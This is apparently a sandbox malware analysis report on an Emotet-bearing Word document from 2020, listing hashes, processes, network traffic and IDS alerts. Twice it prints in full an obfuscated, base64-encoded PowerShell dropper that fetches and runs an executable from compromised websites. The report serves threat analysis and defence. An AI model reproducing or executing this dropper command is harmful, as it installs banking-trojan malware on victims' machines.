File name: | 88739962682372.zip |
Full analysis: | https://app.any.run/tasks/7dbcfc53-5dce-483e-963b-b7cb81b8daf4 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | October 20, 2020, 10:44:16 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/zip |
File info: | Zip archive data, at least v5.1 to extract |
MD5: | A2850316D8815FB8BF9BDA70A178501E |
SHA1: | 00C42E0BDAD867CEAF749603C26890E23485C676 |
SHA256: | 4F0FA33BCBC30D04E1522EE0CE7A07CA002830688D1FCAB7F01BA23F24E5E02A |
SSDEEP: | 1536:z78aE+zfqwvW25+mTnv7v8aIJnvuRhPTrRZpbjpG/mNltSlaFff6yG:f8aE0CqFkyn78aWubrNjplvAEFfflG |
.zip | | | ZIP compressed archive (100) |
---|
ZipFileName: | Emailing - EA773LWEWO 799.doc |
---|---|
ZipUncompressedSize: | 172043 |
ZipCompressedSize: | 84747 |
ZipCRC: | 0x195d7e03 |
ZipModifyDate: | 2020:10:20 11:14:03 |
ZipCompression: | Unknown (99) |
ZipBitFlag: | 0x0003 |
ZipRequiredVersion: | 51 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3056 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\88739962682372.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 | ||||
3708 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Rar$DIb3056.1020\Emailing - EA773LWEWO 799.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WinRAR.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
332 | POwersheLL -ENCOD cwBlAHQALQBJAHQARQBNACAAKAAiAFYAYQByAEkAQQBCACIAKwAiAEwAZQAiACsAIgA6ACIAKwAiAHUAdABXAEYAcAAiACkAIAAoACAAWwB0AHkAcABFAF0AKAAnAHMAWQBzAHQAZQBNACcAKwAnAC4ASQBPAC4AJwArACcARABpAHIAZQBjAFQAJwArACcATwByAHkAJwApACAAKQAgADsAIAAgACQASgBlADMAWgBUAD0AIABbAFQAeQBQAGUAXQAoACcAUwB5AHMAVAAnACsAJwBlACcAKwAnAE0ALgBuAEUAVAAuAFMARQAnACsAJwBSAHYAaQBDACcAKwAnAEUAUABPACcAKwAnAEkATgAnACsAJwB0AE0AYQBOACcAKwAnAGEAJwArACcARwBFAHIAJwApACAAIAA7ACAAIAAkADIAagB4AEYAPQAgACAAWwBUAFkAUABFAF0AKAAnAHMAWQBTAHQAZQBtACcAKwAnAC4ATgAnACsAJwBlAHQALgAnACsAJwBzAGUAQwB1ACcAKwAnAHIAaQB0AHkAUAByAG8AdABvAEMAbwAnACsAJwBMAFQAJwArACcAWQBQACcAKwAnAGUAJwApADsAIAAgACQAUABhAGkAMgBmAHoANQA9ACgAJwBJAHQAYgA0AG0AJwArACcAYwA4ACcAKQA7ACQATABmADkAOQBzAHQAdgA9ACQARAA5AGwAMgAwAGQAMAAgACsAIABbAGMAaABhAHIAXQAoADgAMAAgAC0AIAAzADgAKQAgACsAIAAkAEIANQBrAHoAMgAwADAAOwAkAEUAMABsAHIAawA1AGwAPQAoACcAVgA5AF8AcQAnACsAJwAwACcAKwAnAHUAeAAnACkAOwAgACgAZwBFAHQALQB2AGEAUgBJAEEAYgBsAGUAIAAoACcAVQAnACsAJwBUAHcARgBwACcAKQAgACAALQBWAGEATAApADoAOgBjAFIAZQBhAFQAZQBkAEkAcgBlAEMAVABvAHIAeQAoACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAIAArACAAKAAoACcAewAnACsAJwAwAH0ASwB4ACcAKwAnAGEAbAAnACsAJwAwAF8AJwArACcAbgB7ADAAfQBZACcAKwAnAGYAbwA2AG8AMgAwAHsAMAB9ACcAKQAgACAALQBmACAAWwBDAGgAQQByAF0AOQAyACkAKQA7ACQARwA2ADEAcgBwAGkAYQA9ACgAJwBCACcAKwAnAHIAJwArACcAegBsAG8AZQBtACcAKQA7ACAAJABqAGUAMwB6AHQAOgA6AFMARQBDAFUAcgBpAFQAeQBQAFIAbwB0AG8AYwBPAEwAIAA9ACAAIAAoACAAQwBIAGkATABEAEkAdABlAE0AIAAgACgAIgBWAGEAUgAiACsAIgBpACIAKwAiAGEAYgBsAEUAOgAyAGoAIgArACIAWABGACIAKQApAC4AdgBBAEwAVQBlADoAOgBUAGwAUwAxADIAOwAkAE8AbgB3AG8AMgBxAGoAPQAoACcAUQB2ACcAKwAnADkAJwArACcAYQBlAHQANAAnACkAOwAkAFQAbwA0AGgANgBlADUAIAA9ACAAKAAnAEUAbwBxADcAaQBzACcAKwAnAGoAJwApADsAJABZADQAcAA1AGYAXwBtAD0AKAAnAFAAJwArACcAdwA3ACcAKwAnAHYAOQBqAGYAJwApADsAJABQAHAANQA2AGwAYQBvAD0AKAAnAFIAaABmACcAKwAnAF8AeQBxACcAKwAnAGUAJwApADsAJABCADEAbwAyAG4AXwBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAGEARgAnACsAJwBvAEsAeAAnACsAJwBhAGwAMABfAG4AYQBGAG8AJwArACcAWQBmACcAKwAnAG8ANgAnACsAJwBvACcAKwAnADIAMABhAEYAbwAnACkALgBSAEUAcABMAEEAQwBlACgAJwBhAEYAbwAnACwAJwBcACcAKQApACsAJABUAG8ANABoADYAZQA1ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABDAHgAcQA5AGEAcABnAD0AKAAnAEcAaQBwAHMAJwArACcAeABoAHUAJwApADsAJABHADgAdQByAHYANABzAD0AbgBgAGUAVwAtAE8AYABCAEoAZQBDAFQAIABuAGUAVAAuAFcARQBCAEMAbABpAEUATgBUADsAJABZAF8AOQAwAGYAOQA3AD0AKAAnAGgAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AJwArACcAbQB5ACcAKwAnAGEAbgAnACsAJwBtAGEAcgBsAGUAZwBhAGwAJwArACcAcwAnACsAJwBlACcAKwAnAHIAdgAnACsAJwBpACcAKwAnAGMAZQBzAC4AYwBvAG0AJwArACcALwB3AHAALQAnACsAJwBhACcAKwAnAGQAbQAnACsAJwBpAG4ALwAzAGgALwAqACcAKwAnAGgAJwArACcAdAB0ACcAKwAnAHAAOgAvAC8AZABhAHQAYQAnACsAJwBpAG4AcwAnACsAJwBpACcAKwAnAGcAaAAnACsAJwB0AC4AJwArACcAawAnACsAJwByAC8AYwBvACcAKwAnAG4AdABhAGMAdAAvAE0ARwBYACcAKwAnAFgAeAAvACoAJwArACcAaAB0AHQAcABzADoALwAvAGMAbABlACcAKwAnAGEAbgBtAHkAJwArACcAcAAnACsAJwBsAGEAYwBlAC4AJwArACcAaQBuAC8AYQBkACcAKwAnAG0AJwArACcAaQBuAC8AbAAnACsAJwA2ACcAKwAnAGkAQwAvACoAJwArACcAaAAnACsAJwB0AHQAJwArACcAcABzACcAKwAnADoALwAvACcAKwAnAG4AZQAnACsAJwB3AC4AZwB5ACcAKwAnAG0AJwArACcAbQAnACsAJwB1ACcAKwAnAHMAJwArACcAYwAnACsAJwBsAGUALgAnACsAJwB0ACcAKwAnAGsALwByAGUAJwArACcAZwBlACcAKwAnAG4AYwB5ACcAKwAnAC0AZgAnACsAJwBpACcAKwAnAHIAJwArACcAZQBwACcAKwAnAGwAYQBjACcAKwAnAGUALwBjACcAKwAnAFAAJwArACcAVgBkAGwALwAqAGgAdAB0ACcAKwAnAHAAcwA6AC8ALwB0AGgAJwArACcAZQA4ADQAaABvAHQAZQBsAC4AJwArACcAYwBvAG0ALwB3AHAALQBjACcAKwAnAG8AbgAnACsAJwB0AGUAbgB0AC8AMgAnACsAJwA3AC8AKgBoAHQAdABwADoALwAvAGQAaQBuAGEAbQAnACsAJwBvACcAKwAnAGMAcwAuAGMAbwBtAC4AJwArACcAYgByAC8AZwBpAG4AcwAnACsAJwBlAG4AZwAtACcAKwAnAHAAJwArACcAcgBpAGMAZQBzACcAKwAnAC8AUgBOAEsAJwArACcASQAnACsAJwBpAE8ALwAqACcAKwAnAGgAJwArACcAdAB0AHAAOgAvACcAKwAnAC8AZQBkAHUAbQAnACsAJwBhADIALgBjACcAKwAnAG8AJwArACcAbQAvACcAKwAnAG8AbgB0ACcAKwAnAGEAcgBpACcAKwAnAG8AMgAuAGMAbwBtACcAKwAnAC8AcgBmAGUAJwArACcAVwAvACoAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAnACsAJwAvAGMAJwArACcAaAByAGkAcwB0AGkAYQBuAHMAdQB0AHQAJwArACcAZQByAC4AYwBoAC8AdwBwAC0AJwArACcAaQAnACsAJwBuACcAKwAnAGMAbAAnACsAJwB1ACcAKwAnAGQAZQBzAC8AJwArACcASQAvACcAKQAuAFMAUABMAEkAVAAoACQARwB5AGwANQB5AG8AeQAgACsAIAAkAEwAZgA5ADkAcwB0AHYAIAArACAAJABLADgAZgA5ADYAbQBiACkAOwAkAE0ANQByAGwANQBpADQAPQAoACcARwAnACsAJwBoAHcAYwB3ADgANwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEYAZgA3AHIAMABqAF8AIABpAG4AIAAkAFkAXwA5ADAAZgA5ADcAKQB7AHQAcgB5AHsAJABHADgAdQByAHYANABzAC4AZABPAHcAbgBMAE8AYQBEAEYAaQBsAGUAKAAkAEYAZgA3AHIAMABqAF8ALAAgACQAQgAxAG8AMgBuAF8AbwApADsAJABRAGkAMgBhAGYAbABvAD0AKAAnAFoAJwArACcAdAB0AGUAagAnACsAJwBpADQAJwApADsASQBmACAAKAAoAGcAZQBUAGAALQBgAEkAdABlAG0AIAAkAEIAMQBvADIAbgBfAG8AKQAuAGwAZQBOAEcAVABoACAALQBnAGUAIAAzADgAMwAxADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3AGkAbgAnACsAJwAzADIAJwArACcAXwBQAHIAbwBjAGUAcwAnACsAJwBzACcAKQApAC4AQwBSAEUAYQBUAGUAKAAkAEIAMQBvADIAbgBfAG8AKQA7ACQARwBhADQAMQBqAGQAYgA9ACgAJwBEACcAKwAnAHUAJwArACcAcgA0AHYAbABzACcAKQA7AGIAcgBlAGEAawA7ACQAUwBrAHcAdwBhAF8AZwA9ACgAJwBVAG0AbAAxACcAKwAnAHoAOAAnACsAJwBhACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwA3AG0ANwBjADEAbwA9ACgAJwBTACcAKwAnAGYAYQAyADgAOABvACcAKQA= | C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3680 | C:\Users\admin\Kxal0_n\Yfo6o20\Eoq7isj.exe | C:\Users\admin\Kxal0_n\Yfo6o20\Eoq7isj.exe | — | wmiprvse.exe |
User: admin Company: Twenty Squares Integrity Level: MEDIUM Description: Addictedsarah chaturbate iree token Exit code: 0 Version: 1.00 | ||||
952 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\Emailing - EA773LWEWO 799.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
2496 | POwersheLL -ENCOD cwBlAHQALQBJAHQARQBNACAAKAAiAFYAYQByAEkAQQBCACIAKwAiAEwAZQAiACsAIgA6ACIAKwAiAHUAdABXAEYAcAAiACkAIAAoACAAWwB0AHkAcABFAF0AKAAnAHMAWQBzAHQAZQBNACcAKwAnAC4ASQBPAC4AJwArACcARABpAHIAZQBjAFQAJwArACcATwByAHkAJwApACAAKQAgADsAIAAgACQASgBlADMAWgBUAD0AIABbAFQAeQBQAGUAXQAoACcAUwB5AHMAVAAnACsAJwBlACcAKwAnAE0ALgBuAEUAVAAuAFMARQAnACsAJwBSAHYAaQBDACcAKwAnAEUAUABPACcAKwAnAEkATgAnACsAJwB0AE0AYQBOACcAKwAnAGEAJwArACcARwBFAHIAJwApACAAIAA7ACAAIAAkADIAagB4AEYAPQAgACAAWwBUAFkAUABFAF0AKAAnAHMAWQBTAHQAZQBtACcAKwAnAC4ATgAnACsAJwBlAHQALgAnACsAJwBzAGUAQwB1ACcAKwAnAHIAaQB0AHkAUAByAG8AdABvAEMAbwAnACsAJwBMAFQAJwArACcAWQBQACcAKwAnAGUAJwApADsAIAAgACQAUABhAGkAMgBmAHoANQA9ACgAJwBJAHQAYgA0AG0AJwArACcAYwA4ACcAKQA7ACQATABmADkAOQBzAHQAdgA9ACQARAA5AGwAMgAwAGQAMAAgACsAIABbAGMAaABhAHIAXQAoADgAMAAgAC0AIAAzADgAKQAgACsAIAAkAEIANQBrAHoAMgAwADAAOwAkAEUAMABsAHIAawA1AGwAPQAoACcAVgA5AF8AcQAnACsAJwAwACcAKwAnAHUAeAAnACkAOwAgACgAZwBFAHQALQB2AGEAUgBJAEEAYgBsAGUAIAAoACcAVQAnACsAJwBUAHcARgBwACcAKQAgACAALQBWAGEATAApADoAOgBjAFIAZQBhAFQAZQBkAEkAcgBlAEMAVABvAHIAeQAoACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAIAArACAAKAAoACcAewAnACsAJwAwAH0ASwB4ACcAKwAnAGEAbAAnACsAJwAwAF8AJwArACcAbgB7ADAAfQBZACcAKwAnAGYAbwA2AG8AMgAwAHsAMAB9ACcAKQAgACAALQBmACAAWwBDAGgAQQByAF0AOQAyACkAKQA7ACQARwA2ADEAcgBwAGkAYQA9ACgAJwBCACcAKwAnAHIAJwArACcAegBsAG8AZQBtACcAKQA7ACAAJABqAGUAMwB6AHQAOgA6AFMARQBDAFUAcgBpAFQAeQBQAFIAbwB0AG8AYwBPAEwAIAA9ACAAIAAoACAAQwBIAGkATABEAEkAdABlAE0AIAAgACgAIgBWAGEAUgAiACsAIgBpACIAKwAiAGEAYgBsAEUAOgAyAGoAIgArACIAWABGACIAKQApAC4AdgBBAEwAVQBlADoAOgBUAGwAUwAxADIAOwAkAE8AbgB3AG8AMgBxAGoAPQAoACcAUQB2ACcAKwAnADkAJwArACcAYQBlAHQANAAnACkAOwAkAFQAbwA0AGgANgBlADUAIAA9ACAAKAAnAEUAbwBxADcAaQBzACcAKwAnAGoAJwApADsAJABZADQAcAA1AGYAXwBtAD0AKAAnAFAAJwArACcAdwA3ACcAKwAnAHYAOQBqAGYAJwApADsAJABQAHAANQA2AGwAYQBvAD0AKAAnAFIAaABmACcAKwAnAF8AeQBxACcAKwAnAGUAJwApADsAJABCADEAbwAyAG4AXwBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAGEARgAnACsAJwBvAEsAeAAnACsAJwBhAGwAMABfAG4AYQBGAG8AJwArACcAWQBmACcAKwAnAG8ANgAnACsAJwBvACcAKwAnADIAMABhAEYAbwAnACkALgBSAEUAcABMAEEAQwBlACgAJwBhAEYAbwAnACwAJwBcACcAKQApACsAJABUAG8ANABoADYAZQA1ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABDAHgAcQA5AGEAcABnAD0AKAAnAEcAaQBwAHMAJwArACcAeABoAHUAJwApADsAJABHADgAdQByAHYANABzAD0AbgBgAGUAVwAtAE8AYABCAEoAZQBDAFQAIABuAGUAVAAuAFcARQBCAEMAbABpAEUATgBUADsAJABZAF8AOQAwAGYAOQA3AD0AKAAnAGgAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AJwArACcAbQB5ACcAKwAnAGEAbgAnACsAJwBtAGEAcgBsAGUAZwBhAGwAJwArACcAcwAnACsAJwBlACcAKwAnAHIAdgAnACsAJwBpACcAKwAnAGMAZQBzAC4AYwBvAG0AJwArACcALwB3AHAALQAnACsAJwBhACcAKwAnAGQAbQAnACsAJwBpAG4ALwAzAGgALwAqACcAKwAnAGgAJwArACcAdAB0ACcAKwAnAHAAOgAvAC8AZABhAHQAYQAnACsAJwBpAG4AcwAnACsAJwBpACcAKwAnAGcAaAAnACsAJwB0AC4AJwArACcAawAnACsAJwByAC8AYwBvACcAKwAnAG4AdABhAGMAdAAvAE0ARwBYACcAKwAnAFgAeAAvACoAJwArACcAaAB0AHQAcABzADoALwAvAGMAbABlACcAKwAnAGEAbgBtAHkAJwArACcAcAAnACsAJwBsAGEAYwBlAC4AJwArACcAaQBuAC8AYQBkACcAKwAnAG0AJwArACcAaQBuAC8AbAAnACsAJwA2ACcAKwAnAGkAQwAvACoAJwArACcAaAAnACsAJwB0AHQAJwArACcAcABzACcAKwAnADoALwAvACcAKwAnAG4AZQAnACsAJwB3AC4AZwB5ACcAKwAnAG0AJwArACcAbQAnACsAJwB1ACcAKwAnAHMAJwArACcAYwAnACsAJwBsAGUALgAnACsAJwB0ACcAKwAnAGsALwByAGUAJwArACcAZwBlACcAKwAnAG4AYwB5ACcAKwAnAC0AZgAnACsAJwBpACcAKwAnAHIAJwArACcAZQBwACcAKwAnAGwAYQBjACcAKwAnAGUALwBjACcAKwAnAFAAJwArACcAVgBkAGwALwAqAGgAdAB0ACcAKwAnAHAAcwA6AC8ALwB0AGgAJwArACcAZQA4ADQAaABvAHQAZQBsAC4AJwArACcAYwBvAG0ALwB3AHAALQBjACcAKwAnAG8AbgAnACsAJwB0AGUAbgB0AC8AMgAnACsAJwA3AC8AKgBoAHQAdABwADoALwAvAGQAaQBuAGEAbQAnACsAJwBvACcAKwAnAGMAcwAuAGMAbwBtAC4AJwArACcAYgByAC8AZwBpAG4AcwAnACsAJwBlAG4AZwAtACcAKwAnAHAAJwArACcAcgBpAGMAZQBzACcAKwAnAC8AUgBOAEsAJwArACcASQAnACsAJwBpAE8ALwAqACcAKwAnAGgAJwArACcAdAB0AHAAOgAvACcAKwAnAC8AZQBkAHUAbQAnACsAJwBhADIALgBjACcAKwAnAG8AJwArACcAbQAvACcAKwAnAG8AbgB0ACcAKwAnAGEAcgBpACcAKwAnAG8AMgAuAGMAbwBtACcAKwAnAC8AcgBmAGUAJwArACcAVwAvACoAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAnACsAJwAvAGMAJwArACcAaAByAGkAcwB0AGkAYQBuAHMAdQB0AHQAJwArACcAZQByAC4AYwBoAC8AdwBwAC0AJwArACcAaQAnACsAJwBuACcAKwAnAGMAbAAnACsAJwB1ACcAKwAnAGQAZQBzAC8AJwArACcASQAvACcAKQAuAFMAUABMAEkAVAAoACQARwB5AGwANQB5AG8AeQAgACsAIAAkAEwAZgA5ADkAcwB0AHYAIAArACAAJABLADgAZgA5ADYAbQBiACkAOwAkAE0ANQByAGwANQBpADQAPQAoACcARwAnACsAJwBoAHcAYwB3ADgANwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEYAZgA3AHIAMABqAF8AIABpAG4AIAAkAFkAXwA5ADAAZgA5ADcAKQB7AHQAcgB5AHsAJABHADgAdQByAHYANABzAC4AZABPAHcAbgBMAE8AYQBEAEYAaQBsAGUAKAAkAEYAZgA3AHIAMABqAF8ALAAgACQAQgAxAG8AMgBuAF8AbwApADsAJABRAGkAMgBhAGYAbABvAD0AKAAnAFoAJwArACcAdAB0AGUAagAnACsAJwBpADQAJwApADsASQBmACAAKAAoAGcAZQBUAGAALQBgAEkAdABlAG0AIAAkAEIAMQBvADIAbgBfAG8AKQAuAGwAZQBOAEcAVABoACAALQBnAGUAIAAzADgAMwAxADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3AGkAbgAnACsAJwAzADIAJwArACcAXwBQAHIAbwBjAGUAcwAnACsAJwBzACcAKQApAC4AQwBSAEUAYQBUAGUAKAAkAEIAMQBvADIAbgBfAG8AKQA7ACQARwBhADQAMQBqAGQAYgA9ACgAJwBEACcAKwAnAHUAJwArACcAcgA0AHYAbABzACcAKQA7AGIAcgBlAGEAawA7ACQAUwBrAHcAdwBhAF8AZwA9ACgAJwBVAG0AbAAxACcAKwAnAHoAOAAnACsAJwBhACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwA3AG0ANwBjADEAbwA9ACgAJwBTACcAKwAnAGYAYQAyADgAOABvACcAKQA= | C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe | — | wmiprvse.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3708 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR2E43.tmp.cvr | — | |
MD5:— | SHA256:— | |||
332 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YI2D6Y4R085JZBMF8N72.temp | — | |
MD5:— | SHA256:— | |||
3708 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFEBF8BA327EB7A54D.TMP | — | |
MD5:— | SHA256:— | |||
3708 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFD280D1EBF66C5D73.TMP | — | |
MD5:— | SHA256:— | |||
3708 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFF91BC50034827ADD.TMP | — | |
MD5:— | SHA256:— | |||
3708 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF6AC145972AAAAC54.TMP | — | |
MD5:— | SHA256:— | |||
3708 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{64582E7C-3B04-4B17-8184-06298209657D}.tmp | — | |
MD5:— | SHA256:— | |||
3708 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFC5B611E12AF9AC9D.TMP | — | |
MD5:— | SHA256:— | |||
3708 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{5F6C775F-3C6E-4A23-B518-B5CC9413AE67}.tmp | — | |
MD5:— | SHA256:— | |||
952 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRB689.tmp.cvr | — | |
MD5:— | SHA256:— |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
332 | POwersheLL.exe | GET | 200 | 27.254.111.200:80 | http://myanmarlegalservices.com/wp-admin/3h/ | TH | executable | 336 Kb | suspicious |
952 | WINWORD.EXE | GET | 200 | 52.109.32.27:80 | http://office14client.microsoft.com/config14?UILCID=1033&CLCID=1033&ILCID=1033&HelpLCID=1033&App={019C826E-445A-4649-A5B0-0BF08FCC4EEE}&build=14.0.6023 | GB | xml | 1.99 Kb | whitelisted |
952 | WINWORD.EXE | GET | 200 | 93.184.220.29:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAtqs7A%2Bsan2xGCSaqjN%2FrM%3D | US | der | 1.47 Kb | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
952 | WINWORD.EXE | 93.184.220.29:80 | ocsp.digicert.com | MCI Communications Services, Inc. d/b/a Verizon Business | US | whitelisted |
952 | WINWORD.EXE | 52.109.8.27:443 | rr.office.microsoft.com | Microsoft Corporation | US | whitelisted |
952 | WINWORD.EXE | 52.109.32.27:80 | office14client.microsoft.com | Microsoft Corporation | GB | whitelisted |
332 | POwersheLL.exe | 27.254.111.200:80 | myanmarlegalservices.com | CS LOXINFO Public Company Limited. | TH | suspicious |
Domain | IP | Reputation |
---|---|---|
myanmarlegalservices.com |
| suspicious |
office14client.microsoft.com |
| whitelisted |
rr.office.microsoft.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
332 | POwersheLL.exe | A Network Trojan was detected | ET POLICY Terse Named Filename EXE Download - Possibly Hostile |
332 | POwersheLL.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
332 | POwersheLL.exe | A Network Trojan was detected | AV INFO Suspicious EXE download from WordPress folder |
332 | POwersheLL.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
332 | POwersheLL.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
332 | POwersheLL.exe | A Network Trojan was detected | ET POLICY Terse Named Filename EXE Download - Possibly Hostile |